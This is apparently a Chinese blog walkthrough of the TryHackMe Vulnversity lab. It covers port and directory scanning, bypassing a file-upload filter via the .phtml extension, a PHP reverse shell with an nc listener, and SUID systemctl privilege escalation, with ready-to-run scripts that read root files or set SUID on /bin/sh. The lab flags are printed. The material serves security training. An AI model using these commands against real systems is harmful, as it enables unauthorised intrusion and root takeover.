前言
简单介绍一下thm与CTF不同 thm更加偏向于实战 thm红队打好后就可以挖洞了 CTF只是特定的环境有些限制
最近开thm学习,并且记录一下每一个房间的学习记录,也不知道会不会有人观看学习(stick on),进入主题,今天打的是漏洞大全房间(很基础 使用的是tryhackme的漏洞盒子+Kali Linux2023
目标网站VulnUniversity:
实战:
我们拿到网站的第一步就是信息收集,nmap扫描一下端口,系统,和版本信息 我这里网址都能打开就不ping了
扫描盒子:nmap -sV MACHINE_IPNmap是一个免费、开源且功能强大的工具,用于发现计算机网络上的主机和服务。在我们的示例中,我们使用 Nmap 扫描该计算机以识别特定端口上运行的所有服务。Nmap 有很多功能;下面的表格总结了其一些功能。
这里nmap扫描一下端口,系统,和版本信息
nmap扫描需要一定时间 这里用漏洞盒子或者kali都可以 这里不得提一句就算计算漏洞盒子也扫的是它nnd真慢(不过正规实战的时候是没有这么慢的,所以还是很看好nmap)
在你扫描的时候回车就能看见扫描进度
nmap -A -sC -p- -oN vulnUniversity.nmap 10.10.40.253
第一次忘截图扫描结果了,再扫一次太慢了就找了一个相似的图给大家展现一下扫描结果
可以看到开放的端口 系统是ubuntu 可以看到3333其实就是我们要找的端口进入后就是开头的那两张图片的样子
gobu扫描一下目录
使用名为 的快速目录发现工具
Gobuster
,您将找到可用于上传 shell 的目录。
回答以下问题让我们首先扫描网站以查找任何隐藏的目录。为此,我们将使用Gobuster。
Gobuster是一个用于暴力破解 URI(目录和文件)、DNS 子域和虚拟主机名的工具。对于这台机器,我们将重点使用它来暴力破解目录。
在这里下载Gobuster,或者如果您使用的是 Kali Linux ,请运行sudo apt-get install gobuster
首先,您需要一个Gobuster的单词列表(它将用于快速浏览单词列表以确定公共目录是否可用。如果您使用Kali Linux,您可以在/usr/share/wordlists下找到许多单词列表. 您还可以在 AttackBox 中使用位于 /usr/share/wordlists/dirbuster/directory-list-1.0.txt的目录的单词列表。
现在让我们使用gobuster dir -u http://MACHINE_IP:3333 -w <word list location>运行带有单词列表的Gobuster
gobu扫一下目录很快 这里用的漏洞盒子扫的
gobuster dir -u http://10.10.40.253:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
扫描结果如下:
这么一看什么css js都是前端的images就是图片目录了,那internal才是上传目录咯
访问一下
这里看到是文件上传,笑嘻了,ctfshow的文件上传小godyu都给打穿了这里的文件上传是更容易了
不过咱们还是按照房间走:
进行模糊扫描后缀看一下禁止上传什么样的后缀(检测一下上传黑白名单)
这里文件后缀其实有很多 这里简单的用 这里用到burpsuite这不是咱们的老朋友嘛
详细看一下我之前发的burpsuite爆破 这里随便上传一个文件送到攻击模块
为我们的后缀添加注释
选择狙击手模式直接开搞
可以清晰看到phtml的字节与其他不同那么可以上传的后缀就是phtml
当然也可以直接传shell 现在知道了就可以直接传shell了
查一下返回值找到了upload的路径
其实到这里,房间那里给的是建立nc连接提权
shell下载https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php(这个shell是房间给的已经被淘汰了直接下载也会被杀毒杀掉)但是为了教程的完整性还是把他放出来吧
如果是实战小godyu是绝对直接传shell蚁剑哥斯拉冰蝎拿下的..
房间那里改shell ip建立连接
根据上述下载的文件需要改的配置如下:
开启监听
nc -lvnp 1500
访问shell地址:
先拿下一个user flag再提权拿到root的flag
user的flag: 8bd7992fbe8a6ad22a63361004cfcedb
下一步进行提权:
现在您已经入侵了这台机器,我们将升级权限并成为超级用户(root)。
回答以下问题在Linux中,SUID(执行时设置所有者 userId)是赋予文件的一种特定类型的文件权限。SUID 向用户授予临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件。
例如,用于更改密码的二进制文件设置了 SUID 位 (/usr/bin/passwd)。这是因为要更改您的密码;它将需要写入您无权访问的 Shadowers 文件,而 root 可以;因此它具有 root 权限来进行正确的更改。
在系统上,搜索所有 SUID 文件。哪个文件 脱颖而出?
答案:
/bin/systemctl
关于提权 以及systemctl的介绍地址:
https://gtfobins.github.io/gtfobins/systemctl/
提权:
列出所有 suid 文件
find / -user root -perm -4000 -exec ls -ldb {} \;
提权用到的所有代码如下:
cd /tmp
eop=$(mktemp).service
echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $eop
/bin/systemctl link $eop
/bin/systemctl enable --now $eop
ls -lsa /tmp
cat output
带有注释的提权代码2:
#复制以下所有代码到目标机的shell界面即可(该脚本的目的是创建一个系统服务并以root用户身份运行它)
TK=$(mktemp).service #我们创建一个名为“TK”的环境变量。在这个变量中,我们调用mktemp命令来创建一个临时文件,作为Systemd服务单元文件(.service在最后)
#创建一个单元文件并将其分配给环境变量--以此完成服务单元文件的构造
#下面是我们执行单元文件所需要的配置
#默认情况下:systemctl将在/etc/system/systemd中搜索文件。
#但是当前的登录用户没有权限写入/etc/system/systemd,我们通过将单元文件内容 一行一行地回显到刚才创建的env变量中来解决这个问题
echo '[Service] #调用echo命令开始回显输入(注意单引号,通过不包括关闭行的第二个单引号,我们能够输入多个单行并完成我们的Systemd服务单元文件)
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/sh" #当服务启动时调用默认的系统shell(-c 告诉shell执行引号中的所有内容)
[Install] #单元文件的第二部分
WantedBy=multi-user.target' > $TK #设置此服务将运行的状态(或运行级别),将我们的所有输入指向TK env变量
#使用 systemctl 运行这个单元文件
/bin/systemctl link $TK #这使得我们的单元文件可用于systemctl命令,即使它在标准搜索路径之外
/bin/systemctl enable --now $TK #启用一个单元实例--服务单元文件得以运行
拿到flag:
a58ff8579f0a9270368d33a9966c7fd5
在电脑面前做了好久WP也写了好久,临近晚上八点饭也没吃,但当flag出现的那一刻我才发觉那是值得的.
暂无评论内容